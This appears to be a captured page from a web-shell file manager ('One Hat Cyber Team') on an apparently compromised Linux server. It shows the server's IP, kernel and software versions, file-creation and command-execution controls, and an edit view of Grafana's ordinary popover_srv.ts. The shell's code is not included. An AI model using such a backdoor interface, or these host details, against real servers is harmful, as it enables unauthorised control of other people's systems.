⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
angular
/
services
/
Edit File: popover_srv.ts
import { extend } from 'lodash'; // @ts-ignore import Drop from 'tether-drop'; import { GrafanaRootScope } from 'app/angular/GrafanaCtrl'; import coreModule from 'app/angular/core_module'; coreModule.service('popoverSrv', ['$compile', '$rootScope', '$timeout', popoverSrv]); function popoverSrv(this: any, $compile: any, $rootScope: GrafanaRootScope, $timeout: any) { let openDrop: any = null; this.close = () => { if (openDrop) { openDrop.close(); } }; this.show = (options: any) => { if (openDrop) { openDrop.close(); openDrop = null; } const scope = extend($rootScope.$new(true), options.model); let drop: any; const cleanUp = () => { setTimeout(() => { scope.$destroy(); if (drop.tether) { drop.destroy(); } if (options.onClose) { options.onClose(); } }); openDrop = null; }; scope.dismiss = () => { drop.close(); }; const contentElement = document.createElement('div'); contentElement.innerHTML = options.template; $compile(contentElement)(scope); $timeout(() => { drop = new Drop({ target: options.element, content: contentElement, position: options.position, classes: options.classNames || 'drop-popover', openOn: options.openOn, hoverCloseDelay: 200, tetherOptions: { constraints: [{ to: 'scrollParent', attachment: 'together' }], }, }); drop.on('close', () => { cleanUp(); }); openDrop = drop; openDrop.open(); }, 100); // return close function return () => { if (drop) { drop.close(); } }; }; }
Simpan